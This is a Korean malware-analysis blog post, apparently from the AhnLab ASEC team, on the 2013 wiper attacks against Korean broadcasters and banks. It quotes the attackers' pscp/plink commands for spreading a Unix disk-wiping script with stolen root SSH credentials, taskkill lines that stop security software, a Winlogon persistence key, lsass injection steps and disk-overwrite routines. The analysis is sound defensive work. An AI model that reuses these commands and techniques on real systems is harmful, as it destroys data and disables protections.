본문 바로가기
악성코드 정보

주요 방송사 및 은행 전산망 장애 유발 악성코드 분석

by 알 수 없는 사용자 2013. 3. 21.

3월 20일 14시경 주요 방송사 및 은행 전산망 장애가 발생하는 사고가 한국에서 발생하였으며, ASEC에서는 악성코드 감염 후 디스크 손상으로 부팅 불가로 인해 장애가 발생한 것으로 확인하였다.


현재 해당 악성코드는 운영체제에 따라 디스크를 손상시키는 기능이 포함되어 있으며, 상세한 디스크 손상 내용은 아래 분석 정보에 기술하였다.


해당 악성코드는 V3 엔진(엔진버전:  2013.03.20.06 이상)으로 업데이트 할 경우 검사 및 치료가 가능하며, 3월 20일 오후 6시경부터 제공 중인 전용백신으로도 검사 및 치료 할 수 있다.


[UPDATE - 2013/03/25]


현재까지 ASEC에서 분석한 이번 주요 방송사 및 은행 전산망 장애를 유발한 악성코드는 다음 이미지와 같이 A 케이스와 B 케이스로 나누어서 발생하였다.



우선 위 이미지 좌측 편의 A 케이스에 사용되었던 파일들에 대한 세부 분석 내용은 다음과 같다.


우선 드로퍼인 File A는  %Temp% 폴더에 다음 파일들을 생성하게 된다.


1) File B : MBR 파괴 기능 수행

2) File C : UPX 압축 된 SSL 연결을 위한 PUTTY 툴

3) File D : UPX 압축된 SFTP 연결을 위한 PUTTY 툴

4) File E : UNIX 계열 시스템 DISK를 파괴하는 스크립트


File E 스크립트가 대상으로 하는 시스템은 AIX Unix, HP Unix, Solaris 및 Linux 이다.


AIX, HP, Solaris 3개 시스템에서는 DD 명령어로 디스크를 10MB 및 81MB 크기 만큼 0으로 덮어 쓰기 하며, Linux 시스템에서는 다음의 디렉토리를 삭제한다.


/kernel/ 

/usr/ 

/etc/ 

/home/


File A에 의해 생성된 File B가 실행이 되면, %Temp% 폴더에 ~v3.log 파일이 존재하는지 확인 하게 된다. 만약 해당 파일이 존재 하지 않다면 감염 된 시스템의 MBR(Master Boot Recoard) 및 하드 디스크를 파괴하게 된다.



그리고 File A 외부에서 원격 접속을 시도하기 위해, 다음 경로의 환경 설정 파일인 confCons.xml가 존재하는지 확인 하게 된다.


- Major Version 5인 경우 ( Windows XP, Windows 2003 Server 등 )

C:\Documents and settings\Administrator\Local Settings\Application Data\Felix_Deimel\mRemote\confCons.xml


- Major Version 6인 경우 ( Windows 7, Windows VISTA 등 )

C:\Users\AppData\Local\Felix_Deimel\mRemote\confCons.xml


만약 confCons.xml가 존재 할 경우에는 다음 문자열에 해당하는 내용을 추출한다.


Username="root"

Protocol="SSH"

Password=

Hostname

Descr

Panel

Port

Password


그리고 하나의 스레드를 생성 한 후 앞서 획득한 문자열들을 조합하여 다음의 명령을 실행하게 된다.


%Temp%\File C -batch -P [port] -l root -pw  %Temp%\~pr1.tmp [host]:/tmp/cups

%Temp%\File D -batch -P [port] -l root -pw  [host] "chmod 755 /tmp/cups;/tmp/cups"


SSH의 SCP의 PUTTY 버전인 pscp를 이용해서 File E 를 Batch(Disable all interactive prompts) 종료 후, root 계정으로 호스트의 /tmp/cups 로 복사한다. 그리고, PUTTY의 command 버전인 plink 를 이용해 Batch(disable all interactive prompts) 종료 후, root 계정으로 호스트의 /tmp/cups 에 실행권한을 주고, /tmp/cpus 를 실행한다. 


이와 함께 외부에서 원격 접속을 시도하기 위한 다른 방법으로 다음 경로의 환경 설정 파일이 존재하는 확인하게 된다.


- Major Version 5인 경우 ( Windows XP, Windows 2003 Server 등 )

C:\Documents and settings\Administrator\Application Data\VanDyke\Config\ Sessions\*.ini


- Major Version 6인 경우 ( Windows 7, Windows VISTA 등 )

C:\Users\AppData\Roaming\VanDyke\Config\Sessions\*.ini


만약 환경 설정 파일이 존재 할 경우에는 다음 문자열에 해당하는 내용을 추출하게 된다.


S:"Protocol Name"=SSH

S:"Username"=root

D:"Session Password Saved"=00000001

S:"Hostname"=

S:"Password"=

D:"[SSH2] Port"=


그리고 하나의 스레드를 생성 한 후 앞서 획득한 문자열들을 조합하여 다음의 명령을 실행하게 된다.


%Temp%\conime.exe -batch -P [port] -l root -pw  %Temp%\~pr1.tmp [host]:/tmp/cups

%Temp%\alg.exe -batch -P [port] -l root -pw  [host] "chmod 755 /tmp/cups;/tmp/cups"


MBR(Master Boot Recoard) 및 하드 디스크를 파괴하는 기능을 수행하는 File B는 아래와 같은 파일 매핑 오브젝트(FileMapping Object)를 이용하여 동기화 한 후 하나의 프로세스 만이 실행되도록 한다.


JO840112-CRAS8468-11150923-PCI8273V



그리고  %SystemDirectory%\TEMP\~v3.log 이름의 파일이 존재하는지 확인 한 후, 만약 존재하지 않는다면 MBR(Master Boot Recoard) 및 하드 디스크를 파괴하는 기능을 수행하게 된다.


이와 함께 Taskkill 명령을 WinExeC API로 호출 하여 국내 보안 소프트웨어 프로세스를 종료 하게 된다.


Taskkill /F /IM pasvc.exe

Taskkill /F /IM clisvc.exe


File B는 감염 된 시스템의 윈도우(Windows) 버전에 따라 서로 다른 하드 디스크 파괴 스레드(Thread) 를 생성하게 된다.


1) Major Version 5인 경우 ( Windows XP, Windows 2003 Server 등 )


* 물리 디스크의 MBR과 VBR 등을 "PRINCPES" 문자열로 덮어 쓰기


최대 10개 까지 물리 디스크( \\PHYSICALDRIVE0 ~ \\PHYSICALDRIVE9 )를 열어 각 물리 디스크의 MBR과 VBR을 "PRINCPES"이라는 문자열로 반복하여 덮어 쓰게 된다. 확장 파티션을 사용하고 있는 시스템의 경우에는 확장 파티션의 각 파티션의 VBR까지 파괴의 대상이 된다.


* 논리 드라이브를 "PRINCPES" 문자열로 덮어 쓰기


B:\부터 Z:\ 까지 모든 논리 드라이브 중에서 드라이브 타입(Drive Type)이 DRIVE_REMOVABLE이나 DRIVE_FIXED인 드라이브의 데이터를 "PRINCIPES"이라는 문자열로 반복하여 덮어 쓰게 된다. 덮어 쓰게 되는 데이터는 약 5.3MB 간격으로 100KB 씩 덮어 쓰게 된다.


2) Major Version 6인 경우 ( Windows 7, Windows VISTA 등 )


* 물리 디스크의 MBR과 VBR 등을 "PRINCPES" 문자열로 덮어 쓰기


최대 10개 까지 물리 디스크( \\PHYSICALDRIVE0 ~ \\PHYSICALDRIVE9 )를 열어 각 물리 디스크의 MBR과 VBR을 "PRINCPES"이라는 문자열로 반복하여 덮어 쓰게 된다. 확장 파티션을 사용하고 있는 시스템의 경우에는 확장 파티션의 각 파티션의 VBR까지 파괴의 대상이 된다.


* 모든 논리 드라이브의 데이터를 "PRINCPES" 문자열로 덮어 쓴 후 삭제


모든 논리 드라이브의 데이터를 "PRINCPES" 문자열을 반복하여 덮어 씀으로써 원본 파일 내용을 제거 한 뒤, 모든 파일을 DeleteFile API로 삭제하고 모든 디렉토리를 RemoveDirectoryA API로 삭제 한다. 그리고 D:\부터 차례대로 드라이브의 파일 시스템을 제거 한 뒤, 마지막으로 C:\에서 제거한다. 그러나, C:\의 %SystemDirectory%, %ProgramData%, %ProgramFiles% 세 경로의 파일은 제거 하지 않는다.





논리 드라이브 파괴를 시작하고 나서 5분 뒤 "Shutdown -r -t 0 "라는 커맨드 라인(Command Line)을 WinExec로 실행 하여 시스템을 재부팅 시키나, 하드 디스크가 파괴 중일 경우에는 시스템은 재부팅 되지 않는다.



추가적으로 확인된 최초 이미지 우측 편의 B 케이스에 사용되었던 파일들에 대한 세부 분석 내용은 다음과 같다.


드로퍼(Dropper) 역할을 수행하는 File K가 실행이 되면 아래와 같이 국내 보안 소프트웨어의 프로세스들을 강제 종료하게 된다.


taskkill /F /IM vrfwsvc.exe

taskkill /F /IM vrptsvc.exe

taskkill /F /IM vrscan.exe

taskkill /F /IM hpcsvc.exe

taskkill /F /IM hsvcmod.exe

taskkill /F /IM vrfwsock.exe

taskkill /F /IM vrmonnt.exe

taskkill /F /IM vrrepair.exe

taskkill /F /IM vrmonsvc.exe


그리고 국내 보안 소프트웨어 관련 다음 파일들을 삭제를 시도하게 되며, 삭제된 파일들과 동일한 경로에 File FFile L을 생성하게 된다.

VrDown.exe 
VrPatch.exe
ptUpdate.exe
update.zip
vms1014.zip

생성된 File L은 디스크 파괴 기능을 수행하는 File F를 다운로드 하기 위한 환경 설정 파일이며, File F는 앞서 언급한 A 케이스의 File B와 동일한 기능을 수행하게 된다. 그러나, 아래와 같은 세가지 다른 차이점을 가지고 있다.


1) File F는 File B가 갖고 있는 ~V3.log 파일의 존재 여부를 통해 하드 디스크 파괴 여부를 결정하는 기능이 포함되어 있지 않다.


2) File B는 "PRINCPES" 문자열을 이용하여 덮어쓰기를 수행하게 되나, File F는 "HASTATI" 문자열을 이용하여 덮어쓰기를 수행하게 된다.


3) File B는 실행 즉시 특정 문자열을 이용해 덮어 쓰기를 수행하게 되는 반면에, File F는 2013년 03월 20일 14시 이후에 특정 문자열을 이용해 덮어 쓰기를 수행하게 된다.


[UPDATE - 2013/03/22]


ASEC에서는 이번 전산망 장애를 유발한 악성코드에 대한 새로운 변형과 함께 함께 앞서 언급한 두가지 감염 케이스들과 다른 형태를 추가적으로 발견하였다.


먼저 추가적으로 발견한 디스크 손상을 유발하는 악성코드 File G는 기존에 발견된 File BFile F 들과 기능상으로는 동일하지만 디스크 손상을 유발하기 위해 덮었는 문자열이 "PR!NCPES"으로만 변경되었다.



그리고 추가적으로 발견된 감염 케이스에 사용된 악성코드는 아래 이미지와 동일한 전체적인 구조를 가지고 동작하게 된다.



최초 File H는 File I와 File J 두 개의 파일을 윈도우 시스템 폴더(C:\Widnwos\system32)에 생성하고 File I 를 실행 시킨다. 실행된 File I는 같이 생성된 File J를 정상 시스템 프로세스인 Lsass.exe 프로세스에 인젝션 하게 된다. 


인젝션이 성공적으로 이루어지게 될 경우 인젝션된 File J 힙(Heap)을 할당 받은 후 인코딩(Encoding) 되어 있는 자신의 코드를 디코딩(Decoding) 하여 힙을 생성하여 스레드(Thread로) 구동 한다. 이 때 구동되는 스레드가 디스크를 앞서 언급한 File G와 동일한 "PR!NCPES" 문자열로 디스크를 덮어쓰게 된다.


우선 File H는 생성한 File I를 시스템이 재부팅 할 때마다 자동 실행하기 위해서 윈도우 레지스트리(Registry)에 다음의 키에 값을 추가하게 된다.


HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"

Shell = explorer.exe, File I


그리고 생성한 윈도우 시스템 폴더에 생성한 File I와 File J의 시간 정보를 Kernel32.dll이 가지고 있는 시간 정보와 동일 하게 성정한다.


File H악성코드가 구동 될 수 있는 환경을 마련 한 뒤에 CMD.exe를 이용하여 ShellExecuteA 함수를 호출하여 자신을 삭제하게 된다.


그리고 생성된 File I는 SeDebugPrivilege 권한을 이용하여 같이 생성된 File J를 정상 시스템 프로세스인 Lsass.exe에 인젝션을 시도 하게 된다.


인젝션은 우선 정상 시스템인 Lsass.exe 프로세스를 찾은 후 File J의 파일명을 문자열로 메모리 할 당 이후, 해당 문자열을 인자로 하여 LoadLibraryW 함수를 시작 주소로 하여 CreateRemoteThread를 호출하는 기법을 이용하였다.


File J 인젝션에 성공하게 되면 XOR 0x55로 인코딩되어 있는 디스크 손상을 위한 코드를 디코딩 한 후에 할당 받은 메모리에 쓰게 된다.


그리고 GetLocalTime 함수를 이용하여 감염된 시스템의 현재 시간을 구한 후 3월 20일 15시가 되기 전까지 대기하게 된다.


이 후 3월 20일 15시 1분이 되면 디코딩 된 디스크 손상을 위해 Thread로 동작하며 전체적인 기능은 앞서 언급한 File G와 동일하나 아래 두 가지만 다르다.


1) 동기화에 사용되는 파일맴핑 오브젝트(FileMapping Object)를 GOLD0112-CRAS8468-PAGE0923-PCI8273W 사용


2) File G는 디스크 손상을 중단하는 파일명이 "~v3.log" 이었으나, File J은 "kb01.tmp"를 사용


현재까지 이번 전산망 장애 관련 악성코드들 모두 V3 제품 군에서 다음과 같이 진단한다.


Win-Trojan/Agent.24576.JPF (2013.03.20.06)

Win-Trojan/Agent.24576.JPG (2013.03.20.07)

Trojan/Win32.XwDoor (2013.03.20.07)

Dropper/Eraser.427520 (2013.03.20.07)

SH/Eraer (2013.03.20.07)

Dropper/Hijacker.153088 (2013.03.21.01)

Win-Trojan/Loader.49152 (2013.03.21.01)

Win-Trojan/Injector.46080.AX (2013.03.21.01)

Trojan/Win32.HDC (AhnLab, 2013.03.21.01) 


현재 ASEC에서는 추가적인 정보들을 지속적으로 수집중이며, 관련된 악성코드들의 상세한 분석 정보를 작성 중에 있다. 


분석정보가 작성되는데로 해당 정보는 수시로 업데이트 될 예정이다.

댓글